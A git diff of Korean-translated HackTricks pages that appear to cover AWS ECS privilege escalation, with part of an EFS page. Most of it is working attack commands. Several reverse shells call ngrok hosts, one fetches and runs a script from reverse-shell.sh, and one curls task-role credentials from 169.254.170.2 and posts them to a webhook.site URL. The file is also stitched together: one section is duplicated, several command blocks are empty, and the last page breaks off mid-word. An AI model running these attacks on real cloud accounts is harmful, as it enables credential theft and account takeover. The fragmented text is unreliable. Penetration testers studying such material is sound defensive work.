+{{#include ../../../../banners/hacktricks-training.md}} + +## ECS + +ECS에 대한 **자세한 정보는** 다음을 참조하세요: + +{{#ref}} +../../aws-services/aws-ecs-enum.md +{{#endref}} + +### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` + +ECS에서 `iam:PassRole`, `ecs:RegisterTaskDefinition` 및 `ecs:RunTask` 권한을 악용하는 공격자는 메타데이터 자격 증명을 훔치는 **악성 컨테이너**를 포함한 **새로운 task definition**을 생성하고 이를 **실행**할 수 있습니다. + +{{#tabs }} +{{#tab name="Reverse Shell" }} +```bash +# Generate task definition with rev shell +aws ecs register-task-definition --family iam_exfiltration \ +--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ +--network-mode "awsvpc" \ +--cpu 256 --memory 512\ +--requires-compatibilities "[\"FARGATE\"]" \ +--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" + +# Run task definition +aws ecs run-task --task-definition iam_exfiltration \ +--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \ +--launch-type FARGATE \ +--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}" + +# Delete task definition +## You need to remove all the versions (:1 is enough if you just created one) +aws ecs deregister-task-definition --task-definition iam_exfiltration:1 +``` +{{#endtab }} + +{{#tab name="Webhook" }} + +webhook.site 같은 사이트에서 webhook을 생성하세요. +```bash + +# Create file container-definition.json +[ +{ +"name": "exfil_creds", +"image": "python:latest", +"entryPoint": ["sh", "-c"], +"command": [ +"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890" +] +} +] + +# Run task definition, uploading the .json file +aws ecs register-task-definition \ +--family iam_exfiltration \ +--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ +--network-mode "awsvpc" \ +--cpu 256 \ +--memory 512 \ +--requires-compatibilities FARGATE \ +--container-definitions file://container-definition.json + +# Check the webhook for a response + +# Delete task definition +## You need to remove all the versions (:1 is enough if you just created one) +aws ecs deregister-task-definition --task-definition iam_exfiltration:1 + +``` +{{#endtab }} + +{{#endtabs }} + +**Potential Impact:** 다른 ECS 역할로의 직접적인 privesc. + +### `iam:PassRole`,`ecs:RunTask` +`iam:PassRole` 및 `ecs:RunTask` 권한을 가진 공격자는 수정된 **execution role**, **task role** 및 컨테이너의 **command** 값을 사용하여 새로운 ECS task를 시작할 수 있습니다. `ecs run-task` CLI 명령은 `--overrides` 플래그를 포함하며, 이를 통해 task definition을 변경하지 않고 런타임에 `executionRoleArn`, `taskRoleArn` 및 컨테이너의 `command`를 변경할 수 있습니다. + +지정된 IAM 역할인 `taskRoleArn` 및 `executionRoleArn`은 신뢰 정책에서 `ecs-tasks.amazonaws.com`이 해당 역할을 맡을 수 있도록 신뢰/허용되어야 합니다. + +또한 공격자는 다음을 알아야 합니다: +- ECS 클러스터 이름 +- VPC Subnet +- Security group (보안 그룹이 지정되지 않으면 기본 보안 그룹이 사용됩니다) +- Task Definition 이름과 리비전 +- 컨테이너 이름 +```bash +aws ecs run-task \ +--cluster \ +--launch-type FARGATE \ +--network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" \ +--task-definition \ +--overrides ' +{ +"taskRoleArn": "arn:aws:iam:::role/HighPrivilegedECSTaskRole", +"containerOverrides": [ +{ +"name": , +"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"] +} +] +}' +``` +위 코드 스니펫에서는 공격자가 `taskRoleArn` 값만 재정의합니다. 그러나 공격이 발생하려면 공격자는 명령에서 지정한 `taskRoleArn`과 작업 정의에서 지정한 `executionRoleArn`에 대해 `iam:PassRole` 권한을 가지고 있어야 합니다. + +공격자가 전달할 수 있는 IAM 역할이 ECR 이미지를 pull하고 ECS 작업을 시작할 수 있는 충분한 권한(`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`)을 가지고 있다면 공격자는 `ecs run-task` 명령에서 `executionRoleArn`과 `taskRoleArn` 둘 다에 대해 동일한 IAM 역할을 지정할 수 있습니다. +```sh +aws ecs run-task --cluster --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" --task-definition --overrides ' +{ +"taskRoleArn": "arn:aws:iam:::role/HighPrivilegedECSTaskRole", +"executionRoleArn":"arn:aws:iam:::role/HighPrivilegedECSTaskRole", +"containerOverrides": [ +{ +"name": "", +"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"] +} +] +}' +``` +**Potential Impact:** 모든 ECS task role에 대한 직접적인 privesc. + +### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` + +이전 예와 마찬가지로 공격자는 ECS에서 **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** 권한을 악용하여 메타데이터 자격 증명을 탈취하는 **악성 컨테이너**를 포함한 **새로운 task definition을 생성**하고 **실행할 수 있다**.\ +그러나 이 경우, 악성 task definition을 실행하려면 컨테이너 인스턴스가 필요하다. +```bash +# Generate task definition with rev shell +aws ecs register-task-definition --family iam_exfiltration \ +--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ +--network-mode "awsvpc" \ +--cpu 256 --memory 512\ +--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" + +aws ecs start-task --task-definition iam_exfiltration \ +--container-instances + +# Delete task definition +## You need to remove all the versions (:1 is enough if you just created one) +aws ecs deregister-task-definition --task-definition iam_exfiltration:1 +``` +**잠재적 영향:** ECS 역할에 대한 직접적인 privesc. + +### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` + + +이전 예제와 마찬가지로, 공격자가 ECS에서 **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** 또는 **`ecs:CreateService`** 권한을 악용하면, 메타데이터 자격증명을 탈취하는 **악성 컨테이너**를 포함한 **새로운 task definition을 생성**하고, **최소 1개의 task가 실행되는 새 서비스를 생성하여 이를 실행**할 수 있습니다. +```bash +# Generate task definition with rev shell +aws ecs register-task-definition --family iam_exfiltration \ +--task-role-arn "$ECS_ROLE_ARN" \ +--network-mode "awsvpc" \ +--cpu 256 --memory 512\ +--requires-compatibilities "[\"FARGATE\"]" \ +--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]" + +# Run the task creating a service +aws ecs create-service --service-name exfiltration \ +--task-definition iam_exfiltration \ +--desired-count 1 \ +--cluster "$CLUSTER_ARN" \ +--launch-type FARGATE \ +--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}" + +# Run the task updating a service +aws ecs update-service --cluster \ +--service \ +--task-definition +``` +**잠재적 영향:** ECS 역할에 대한 직접 privesc. + +### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)` + +실제로, 이러한 권한만으로 overrides를 사용해 임의의 역할을 가진 컨테이너에서 임의의 명령을 실행할 수 있습니다. 예를 들면: +```bash +aws ecs run-task \ +--task-definition "" \ +--overrides '{"taskRoleArn":"", "containerOverrides":[{"name":"","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \ +--cluster \ +--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}" +``` +**잠재적 영향:** ECS role에 대한 직접 privesc. + +### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** + +이 시나리오는 이전 경우들과 유사하지만 **`iam:PassRole`** 권한이 **없습니다**.\ +이는 역할이 없어도 임의의 컨테이너를 실행할 수 있다면 여전히 흥미롭습니다. 노드로 탈출하기 위해 **privileged container를 실행**하여 노드에서 실행 중인 **EC2 IAM role** 및 노드에서 실행 중인 **다른 ECS containers의 roles**을 탈취할 수 있습니다.\ +심지어 손상시킨 **EC2 instance 내부에서 다른 tasks를 실행하도록 강제**하여 그들의 자격증명을 훔칠 수도 있습니다 (자세한 내용은 [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node) 참조). + +> [!WARNING] +> 이 공격은 **ECS cluster가 EC2를 사용**하는 인스턴스일 때만 가능하며 Fargate에서는 불가능합니다. +```bash +printf '[ +{ +"name":"exfil_creds", +"image":"python:latest", +"entryPoint":["sh", "-c"], +"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""], +"mountPoints": [ +{ +"readOnly": false, +"containerPath": "/var/run/docker.sock", +"sourceVolume": "docker-socket" +} +] +} +]' > /tmp/task.json + +printf '[ +{ +"name": "docker-socket", +"host": { +"sourcePath": "/var/run/docker.sock" +} +} +]' > /tmp/volumes.json + + +aws ecs register-task-definition --family iam_exfiltration \ +--cpu 256 --memory 512 \ +--requires-compatibilities '["EC2"]' \ +--container-definitions file:///tmp/task.json \ +--volumes file:///tmp/volumes.json + + +aws ecs run-task --task-definition iam_exfiltration \ +--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \ +--launch-type EC2 + +# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell +``` +### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** + +공격자는 **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** 권한이 있으면 실행 중인 컨테이너 내부에서 **명령을 실행**하고 그에 연결된 IAM role을 exfiltrate할 수 있습니다 (describe 권한이 필요한데, 이는 `aws ecs execute-command`를 실행하는 데 필요합니다).\ +하지만 이를 위해서는 컨테이너 인스턴스가 **ExecuteCommand agent**를 실행하고 있어야 합니다(기본적으로는 실행되어 있지 않습니다). + +따라서 공격자는 다음을 시도해볼 수 있습니다: + +- **모든 실행 중인 컨테이너에서 명령 실행 시도** +```bash +# List enableExecuteCommand on each task +for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do +echo "Cluster $cluster" +for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do +echo " Task $task" +# If true, it's your lucky day +aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand +done +done + +# Execute a shell in a container +aws ecs execute-command --interactive \ +--command "sh" \ +--cluster "$CLUSTER_ARN" \ +--task "$TASK_ARN" +``` +- 만약 그가 **`ecs:RunTask`** 권한이 있다면, `aws ecs run-task --enable-execute-command [...]`로 태스크를 실행하세요 +- 만약 그가 **`ecs:StartTask`** 권한이 있다면, `aws ecs start-task --enable-execute-command [...]`로 태스크를 실행하세요 +- 만약 그가 **`ecs:CreateService`** 권한이 있다면, `aws ecs create-service --enable-execute-command [...]`로 서비스를 생성하세요 +- 만약 그가 **`ecs:UpdateService`** 권한이 있다면, `aws ecs update-service --enable-execute-command [...]`로 서비스를 업데이트하세요 + +해당 옵션들의 **예시**는 **이전 ECS privesc 섹션**에서 확인할 수 있습니다. + +**가능한 영향:** 컨테이너에 할당된 다른 역할로의 Privesc. + +### `ssm:StartSession` + +**ssm privesc page**에서 이 권한을 악용해 **privesc to ECS** 하는 방법을 확인하세요: + +{{#ref}} +../aws-ssm-privesc/README.md +{{#endref}} + +### `iam:PassRole`, `ec2:RunInstances` + +**ec2 privesc page**에서 이 권한들을 악용해 **privesc to ECS** 하는 방법을 확인하세요: + +{{#ref}} +../aws-ec2-privesc/README.md +{{#endref}} + +### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole` + +이 권한들을 가진 공격자는 ECS 클러스터에 EC2 인스턴스를 등록하고 그 위에서 태스크를 실행할 수 있습니다. 이는 공격자가 ECS 태스크의 컨텍스트 내에서 임의의 코드를 실행할 수 있게 할 수 있습니다. + +- TODO: 다른 AWS 계정의 인스턴스를 등록해서 태스크가 공격자가 제어하는 머신에서 실행되도록 하는 것이 가능한가요?? + +### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets` + +> [!NOTE] +> TODO: 테스트 필요 + +해당 권한(`ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`)을 가진 공격자는 기존 ECS 서비스에 대해 **악의적인 task set을 생성하고 primary task set을 업데이트할 수 있습니다**. 이를 통해 공격자는 서비스 내에서 **임의의 코드를 실행할 수 있습니다**. +```bash +# Register a task definition with a reverse shell +echo '{ +"family": "malicious-task", +"containerDefinitions": [ +{ +"name": "malicious-container", +"image": "alpine", +"command": [ +"sh", +"-c", +"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh" +] +} +] +}' > malicious-task-definition.json + +aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json + +# Create a malicious task set for the existing service +aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}" + +# Update the primary task set for the service +aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id +``` +**잠재적 영향**: 영향을 받는 서비스에서 임의의 코드를 실행하여 서비스 기능에 영향을 주거나 exfiltrating sensitive data. + +## References + +- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods) + +{{#include ../../../../banners/hacktricks-training.md}} + + + + + +### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover) + +ECS capacity providers를 관리하고 서비스를 업데이트할 수 있는 권한이 있는 공격자는 자신이 제어하는 EC2 Auto Scaling Group을 생성하고, 이를 ECS Capacity Provider로 감싸 대상 클러스터에 연결한 뒤 피해자 서비스를 이 프로바이더로 마이그레이션할 수 있습니다. 그러면 Tasks는 공격자 제어 EC2 인스턴스에 스케줄되며, OS-level 접근으로 컨테이너를 검사하고 task role 자격증명을 탈취할 수 있습니다. + +명령어 (us-east-1): + +- 사전 요구사항 + + + +- 대상 클러스터에 조인하기 위한 ECS agent용 Launch Template 생성 + + + +- Auto Scaling Group 생성 + + + +- ASG로부터 Capacity Provider 생성 + + + +- Capacity Provider를 클러스터에 연결(선택적으로 기본으로 설정) + + + +- 서비스를 당신의 provider로 마이그레이션 + + + +- Tasks가 공격자 인스턴스에 배치되었는지 확인 + + + +- 선택사항: EC2 노드에서 docker exec로 대상 컨테이너에 접속하여 http://169.254.170.2 를 읽어 task role 자격증명을 획득 + + + +- 정리 + + + +**잠재적 영향:** 공격자 제어 EC2 노드가 피해자 Tasks를 받아 OS-level로 컨테이너에 접근하고 task IAM role 자격증명을 탈취할 수 있습니다. + + +
+단계별 명령어 (복사/붙여넣기) +
+export AWS_DEFAULT_REGION=us-east-1
+CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster
+# Instance profile for ECS nodes
+aws iam create-role --role-name ht-ecs-instance-role --assume-role-policy-document Version:2012-10-17 || true
+aws iam attach-role-policy --role-name ht-ecs-instance-role --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role || true
+aws iam create-instance-profile --instance-profile-name ht-ecs-instance-profile || true
+aws iam add-role-to-instance-profile --instance-profile-name ht-ecs-instance-profile --role-name ht-ecs-instance-role || true
+
+VPC=vpc-18e6ac62
+SUBNETS=
+
+AMI=ami-0b570770164588ab4
+USERDATA=IyEvYmluL2Jhc2gKZWNobyBFQ1NfQ0xVU1RFUj0gPj4gL2V0Yy9lY3MvZWNzLmNvbmZpZwo=
+LT_ID=
+
+ASG_ARN=
+
+CP_NAME=htcp-8797
+aws ecs create-capacity-provider --name  --auto-scaling-group-provider "autoScalingGroupArn=,managedScaling={status=ENABLED,targetCapacity=100},managedTerminationProtection=DISABLED"
+aws ecs put-cluster-capacity-providers --cluster "" --capacity-providers  --default-capacity-provider-strategy capacityProvider=,weight=1
+
+SVC=
+# Task definition must be EC2-compatible (not Fargate-only)
+aws ecs update-service --cluster "" --service "" --capacity-provider-strategy capacityProvider=,weight=1 --force-new-deployment
+
+TASK=
+CI=
+aws ecs describe-container-instances --cluster "" --container-instances "" --query containerInstances[0].ec2InstanceId --output text
+
+
+ +### Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration + +ECS Anywhere를 악용하여 공격자 제어 호스트를 피해자 ECS cluster의 EXTERNAL container instance로 등록하고 privileged task 및 execution roles를 사용해 해당 호스트에서 tasks를 실행할 수 있습니다. 이는 tasks가 어디에서 실행되는지에 대한 OS-level 제어를 부여(자신의 머신에서 실행)하며, capacity providers나 ASGs를 건드리지 않고도 tasks와 연결된 볼륨에서 자격증명/데이터를 탈취할 수 있게 합니다. + +- 필요 권한 (예: 최소): +- ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask +- ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation +- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (for the ECS Anywhere instance role and task/execution roles) +- logs:CreateLogGroup/Stream, logs:PutLogEvents (if using awslogs) + +- 영향: 공격자 호스트에서 선택한 taskRoleArn으로 임의 컨테이너를 실행할 수 있으며; 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI에서 task-role 자격증명을 exfiltrate하고; tasks에 마운트된 모든 볼륨에 접근할 수 있음; capacity providers/ASGs를 조작하는 것보다 은밀함. + +Steps + +1) Create/identify cluster (us-east-1) +```bash +aws ecs create-cluster --cluster-name ht-ecs-anywhere +``` +2) ECS Anywhere 역할 및 SSM 활성화 생성 (on-prem/EXTERNAL 인스턴스용) +```bash +aws iam create-role --role-name ecsAnywhereRole \ +--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}' +aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore +aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role +ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole) +ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode) +``` +3) attacker host를 프로비저닝하고 EXTERNAL로 자동 등록합니다 (예: 작은 AL2 EC2를 “on‑prem”으로) + +
+user-data.sh +```bash +#!/bin/bash +set -euxo pipefail +amazon-linux-extras enable docker || true +yum install -y docker curl jq +systemctl enable --now docker +curl -fsSL -o /root/ecs-anywhere-install.sh "https://amazon-ecs-agent.s3.amazonaws.com/ecs-anywhere-install-latest.sh" +chmod +x /root/ecs-anywhere-install.sh +/root/ecs-anywhere-install.sh --cluster ht-ecs-anywhere --activation-id ${ACT_ID} --activation-code ${ACT_CODE} --region us-east-1 +``` +
+```bash +AMI=$(aws ssm get-parameters --names /aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2 --query 'Parameters[0].Value' --output text) +IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \ +--user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text) +aws ec2 wait instance-status-ok --instance-ids $IID +``` +4) EXTERNAL 컨테이너 인스턴스가 조인되었는지 확인 +```bash +aws ecs list-container-instances --cluster ht-ecs-anywhere +aws ecs describe-container-instances --cluster ht-ecs-anywhere \ +--container-instances --query 'containerInstances[0].[ec2InstanceId,attributes]' +# ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external +``` +5) task/execution roles을 생성하고, EXTERNAL task definition을 등록한 다음 attacker host에서 실행합니다. +```bash +# roles +aws iam create-role --role-name ht-ecs-task-exec \ +--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}' +aws iam attach-role-policy --role-name ht-ecs-task-exec --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy +aws iam create-role --role-name ht-ecs-task-role \ +--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}' +# attach any privileges you want to abuse to this task role + +# task def (EXTERNAL launch) +cat > td-external.json << 'JSON' +{ +"family": "ht-external", +"requiresCompatibilities": [ "EXTERNAL" ], +"networkMode": "bridge", +"memory": "256", +"cpu": "128", +"executionRoleArn": "arn:aws:iam:::role/ht-ecs-task-exec", +"taskRoleArn": "arn:aws:iam:::role/ht-ecs-task-role", +"containerDefinitions": [ +{"name":"steal","image":"public.ecr.aws/amazonlinux/amazonlinux:latest", +"entryPoint":["/bin/sh","-c"], +"command":["REL=\$(printenv AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); echo CREDS:; curl -s http://169.254.170.2\$REL; sleep 600"], +"memory": 128, +"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/anywhere","awslogs-stream-prefix":"steal"}} +} +] +} +JSON +aws logs create-log-group --log-group-name /ht/ecs/anywhere || true +aws ecs register-task-definition --cli-input-json file://td-external.json +CI=$(aws ecs list-container-instances --cluster ht-ecs-anywhere --query 'containerInstanceArns[0]' --output text) +aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \ +--container-instances $CI +``` +6) 여기서부터는 tasks를 실행하는 호스트를 제어할 수 있습니다. awslogs인 경우 task 로그를 읽거나 호스트에서 직접 exec하여 tasks의 credentials/data를 exfiltrate할 수 있습니다. + + + +#### Command example (placeholders) + + + + +### 악성 Capacity Provider를 통한 ECS 스케줄링 탈취 (EC2 ASG takeover) + +공격자는 ECS capacity providers를 관리하고 서비스를 업데이트할 수 있는 권한이 있으면, 자신이 제어하는 EC2 Auto Scaling Group을 생성하고 이를 ECS Capacity Provider로 래핑한 뒤 대상 클러스터에 연결하고 피해자 서비스를 해당 provider로 마이그레이션할 수 있습니다. 그러면 tasks가 공격자 제어의 EC2 인스턴스에 스케줄되어 OS 수준에서 컨테이너를 조사하고 task role credentials를 탈취할 수 있게 됩니다. + +Commands (us-east-1): + +- 사전 요구사항 + + + +- 대상 클러스터에 조인하기 위한 ECS agent용 Launch Template 생성 + + + +- Auto Scaling Group 생성 + + + +- ASG로부터 Capacity Provider 생성 + + + +- Capacity Provider를 클러스터에 연결 (선택적으로 기본으로 설정) + + + +- 서비스를 당신의 provider로 마이그레이션 + + + +- tasks가 공격자 인스턴스에 배치되는지 확인 + + + +- 선택 사항: EC2 노드에서 docker exec로 대상 컨테이너에 접속한 뒤 http://169.254.170.2 를 읽어 task role credentials를 획득하세요. + +- 정리 + + + +**잠재적 영향:** 공격자가 제어하는 EC2 노드가 피해자 tasks를 수신하여 OS 수준에서 컨테이너에 접근하고 task IAM role credentials를 탈취할 수 있게 됩니다. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md similarity index 50% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md index 6ef9dbf05..25fa0f363 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md @@ -1,20 +1,20 @@ # AWS - EFS Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## EFS -EFS에 대한 **더 많은 정보**는 다음에서 확인하세요: +더 많은 **EFS에 대한 정보**는 다음에서 확인하세요: {{#ref}} -../aws-services/aws-efs-enum.md +../../aws-services/aws-efs-enum.md {{#endref}} -EFS를 마운트하려면 EFS가 노출된 서브네트워크에 있어야 하며 이에 대한 접근 권한(보안 그룹)이 필요합니다. 이러한 조건이 충족되면 기본적으로 항상 마운트할 수 있지만, IAM 정책에 의해 보호되는 경우 여기에서 언급된 추가 권한이 필요합니다. +EFS를 마운트하려면 EFS가 노출된 서브네트워크에 있어야 하고 해당 네트워크에 대한 접근 권한(security groups)이 있어야 합니다. 이러한 조건이 충족되면 기본적으로 항상 마운트할 수 있습니다. 그러나 IAM policies로 보호되어 있다면 접근하려면 여기에 언급된 추가 권한이 필요합니다. ### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy` -이 권한 중 하나로 공격자는 **파일 시스템 정책을 변경**하여 **접근 권한을 부여**하거나 **삭제**하여 **기본 접근**이 허용되도록 할 수 있습니다. +해당 권한 중 하나만 있어도 공격자는 **파일 시스템 정책을 변경**하여 자신에게 접근 권한을 부여할 수 있고, 또는 **정책을 삭제**하여 **기본 접근 권한**이 허용되도록 만들 수 있습니다. 정책을 삭제하려면: ```bash @@ -53,34 +53,34 @@ aws efs put-file-system-policy --file-system-id --policy file:///tmp/pol ``` ### `elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)` -이 권한을 통해 공격자는 **EFS를 마운트**할 수 있습니다. EFS를 마운트할 수 있는 모든 사용자에게 기본적으로 쓰기 권한이 부여되지 않는 경우, 그는 **읽기 권한**만 가집니다. +이 권한이 있으면 공격자는 **mount the EFS**할 수 있습니다. 만약 write permission이 mount the EFS를 할 수 있는 모든 사용자에게 기본적으로 부여되어 있지 않다면, 그는 **read access**만 갖게 됩니다. ```bash sudo mkdir /efs sudo mount -t efs -o tls,iam :/ /efs/ ``` -추가 권한 `elasticfilesystem:ClientRootAccess` 및 `elasticfilesystem:ClientWrite`는 파일 시스템이 마운트된 후 **쓰기** 및 **루트**로 해당 파일 시스템에 **접근**하는 데 사용할 수 있습니다. +추가 권한 `elasticfilesystem:ClientRootAccess` 및 `elasticfilesystem:ClientWrite`는 파일시스템이 마운트된 후 내부에 **쓰기** 하고 해당 파일 시스템에 **root로 접근**하는 데 사용할 수 있습니다. -**잠재적 영향:** 파일 시스템에서 민감한 정보를 찾아 간접적인 권한 상승. +**잠재적 영향:** 파일 시스템에서 민감한 정보를 찾아내어 간접 privesc를 유발할 수 있습니다. ### `elasticfilesystem:CreateMountTarget` -공격자가 EFS의 **마운트 대상**이 없는 **서브네트워크**에 있는 경우, 이 권한으로 **자신의 서브넷에 하나를 생성**할 수 있습니다. +만약 공격자가 **서브네트워크** 내부에 있고 EFS의 **mount target이 없는 경우**, 이 권한으로 **자신의 서브넷에 하나를 생성할 수 있습니다**: ```bash # You need to indicate security groups that will grant the user access to port 2049 aws efs create-mount-target --file-system-id \ --subnet-id \ --security-groups ``` -**잠재적 영향:** 파일 시스템에서 민감한 정보를 찾아 간접적인 권한 상승. +**잠재적 영향:** 파일 시스템에서 민감한 정보를 찾아 간접적인 privesc를 획득할 수 있습니다. ### `elasticfilesystem:ModifyMountTargetSecurityGroups` -공격자가 EFS가 자신의 서브네트워크에 마운트 대상을 가지고 있지만 **트래픽을 허용하는 보안 그룹이 없는** 상황을 발견하면, 그는 **선택한 보안 그룹을 수정하여 이를 변경할 수 있습니다**: +attacker가 자신의 subnetwork에 EFS의 mount target이 있지만 **security group이 트래픽을 허용하지 않는 경우**, 그는 선택된 **security groups를 수정하여 이를 변경할 수 있습니다**: ```bash aws efs modify-mount-target-security-groups \ --mount-target-id \ --security-groups ``` -**잠재적 영향:** 파일 시스템에서 민감한 정보를 찾아 간접적인 권한 상승. +**잠재적 영향:** 파일 시스템에서 민감한 정보를 찾아 간접적으로 privesc가 발생할 수 있음. -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md similarity index 66% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md index 7a8586354..9eab2a39e 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md @@ -1,21 +1,21 @@ # AWS - Elastic Beanstalk Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## Elastic Beanstalk -더 많은 **Elastic Beanstalk에 대한 정보**는 다음에서 확인할 수 